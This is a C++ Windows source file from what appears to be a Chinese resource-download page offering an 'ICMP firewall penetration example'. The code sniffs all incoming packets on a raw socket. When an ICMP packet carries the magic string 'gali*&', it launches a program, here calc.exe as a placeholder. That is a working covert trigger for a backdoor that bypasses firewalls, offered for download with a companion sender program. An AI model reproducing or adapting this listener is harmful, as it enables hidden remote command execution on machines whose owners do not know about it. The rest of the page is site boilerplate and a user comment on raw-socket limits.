//icmp_recv.cpp
//监听ICMP包,如果ICMP包中有我们自定义的信息,启动一个计算器
#include "winsock2.h"
#include "windows.h"
#include "stdio.h"
//#include
#pragma comment(lib,"ws2_32.lib")
#define SIO_RCVALL _WSAIOW(IOC_VENDOR,1)
HANDLE hEvent; //线程结束标志
// ICMP header
struct ICMPHEADER
{
unsigned char i_type;
unsigned char i_code;
unsigned short i_cksum;
unsigned short i_id;
unsigned short i_seq;
unsigned long i_timestamp;
unsigned char i_data[28];
};
typedef ICMPHEADER* LPICMPHEADER;
#define ICMP_ECHO 8 // ICMP回显请求报文的类型值为8
#define ICMP_ECHOREPLY 0 // ICMP回显应答报文的类型值为0
struct IPHEADER // 定义 IP 首部
{
BYTE h_verlen; // 4 位首部长度,4 位 IP 版本号
BYTE tos; // 8 位服务类型 TOS
USHORT total_len; // 16 位总长度(字节)
USHORT ident; // 16 位标识
USHORT frag_and_flags; // 3 位标志位(如 SYN,ACK,等)
BYTE ttl; // 8 位生存时间 TTL
BYTE proto; // 8 位协议(如 ICMP,TCP 等)
USHORT checksum; // 16 位 IP 首部校验和
UINT sourceIP; // 32 位源 IP 地址
UINT destIP; // 32 位目的 IP 地址
};
typedef IPHEADER* LPIPHEADER;
int ThreadRecv(LPVOID lpParam)
{
DWORD dwIP = *(DWORD*)lpParam; //传过来的参数
char RecvBuf[100]; //接受数据的缓冲区
printf("%d OK!\n",dwIP); //验证线程已经开启
// 创建原始套接字用于获取发送给本机的网络数据包
SOCKET sock = socket(AF_INET, SOCK_RAW, IPPROTO_IP);
if (sock == INVALID_SOCKET) // 创建失败?
{
printf("创建socket失败\n");
return 0;
}
// 必须将套接字绑定到本机的某一端口上才能获取所有发送给本机的数据包
sockaddr_in addr;
addr.sin_family = AF_INET;
addr.sin_port = INADDR_ANY;
addr.sin_addr.S_un.S_addr = dwIP;
if (bind(sock, (sockaddr*)&addr, sizeof(addr))) // 绑定失败
{
closesocket(sock);
printf("bind失败\n");
return 0;
}
// 设置套接字表示接收所有数据包
DWORD dwIn = 1, dwRet;
DWORD dwBufferLen;
if (WSAIoctl(sock, SIO_RCVALL, &dwIn, sizeof(dwIn),
&dwBufferLen, sizeof(dwBufferLen), &dwRet, NULL, NULL)) // 设置失败
{
closesocket(sock);
printf("WSAIoctl失败\n");
return 0;
}
while (WaitForSingleObject(hEvent,0) == WAIT_TIMEOUT)
{ // 循环直到结束信号on
// 接收是否超时
timeval TimeOut;
TimeOut.tv_sec = 2;
TimeOut.tv_usec = 0;
FD_SET fdset;
// 判断接收是否超时
FD_ZERO(&fdset);
FD_SET(sock, &fdset);
if (select(0, &fdset, NULL, NULL, &TimeOut) <= 0)
continue;
// 接收失败
if (recv(sock, RecvBuf, sizeof(RecvBuf), 0) <= 0)
continue;
LPIPHEADER pIpHeader = (LPIPHEADER)RecvBuf;
LPICMPHEADER pIcmpHeader = (LPICMPHEADER)(RecvBuf+sizeof(IPHEADER));
if (pIpHeader->proto != 1)
{ //判断是否是ICMP协议
continue;
}
if (memcmp(pIcmpHeader->i_data,"gali*&",6) == 0)
{
WinExec("calc.exe",SW_SHOW); //启动计算器做测试
SetEvent(hEvent); //发出结束信号
//return 1;
}
}
return 0;
}
int main()
{
WSADATA wsaData;
WSAStartup( MAKEWORD(2,2), &wsaData);
char name[MAX_PATH] = {0};
if (gethostname(name, MAX_PATH) != 0) // 获取失败?
{
printf("gethostname\n");
return 1;
}
hostent* pHost = gethostbyname(name);
int nChild = 0;
unsigned long ulLocalIP;
HANDLE hThread[64];
hEvent = CreateEvent(NULL,TRUE,FALSE,NULL); //结束标志
while (pHost->h_addr_list[nChild] != NULL) // 如果 IP 地址表中的 IP 未枚举完
{
ulLocalIP = *(ULONG*)pHost->h_addr_list[nChild];
//启动监听线程
hThread[nChild] = CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)ThreadRecv,&ulLocalIP,0,NULL);
Sleep(100); //简单等待线程函数读取参数
nChild++;
}
WaitForMultipleObjects(nChild, hThread, TRUE, INFINITE); //直到所有线程返回
printf("所有线程都已经返回!\n");
return 1;
}
没有合适的资源?快使用搜索试试~ 我知道了~
ICMP穿透防火墙示例
共14个文件
dsw:2个
exe:2个
opt:2个
3星 · 超过75%的资源 需积分: 9 57 下载量 179 浏览量
2008-01-27
17:06:44
上传
评论
收藏 158KB RAR 举报
温馨提示
ICMP穿透防火墙示例
资源推荐
资源详情
资源评论
收起资源包目录
ICMP穿透防火墙示例.rar (14个子文件)
ICMP_reply
icmp_reply.dsp 3KB
icmp_reply.dsw 526B
icmp_reply.plg 1KB
icmp_reply.cpp 2KB
Debug
icmp_reply.exe 172KB
icmp_reply.opt 169KB
icmp_reply.ncb 41KB
ICMP_recv
icmp_recv.cpp 4KB
icmp_recv.opt 170KB
icmp_recv.ncb 41KB
icmp_recv.dsw 524B
icmp_recv.dsp 3KB
Debug
icmp_recv.exe 172KB
icmp_recv.plg 1KB
共 14 条
- 1
资源评论
- UFOylzj2014-04-21从windows的某个版本起限制了Raw Socket的使用。这份代码里用的办法现在不那么好用了。
雄夫
- 粉丝: 8
- 资源: 18
上传资源 快速赚钱
- 我的内容管理 展开
- 我的资源 快来上传第一个资源
- 我的收益 登录查看自己的收益
- 我的积分 登录查看自己的积分
- 我的C币 登录后查看C币余额
- 我的收藏
- 我的下载
- 下载帮助
安全验证
文档复制为VIP权益,开通VIP直接复制
信息提交成功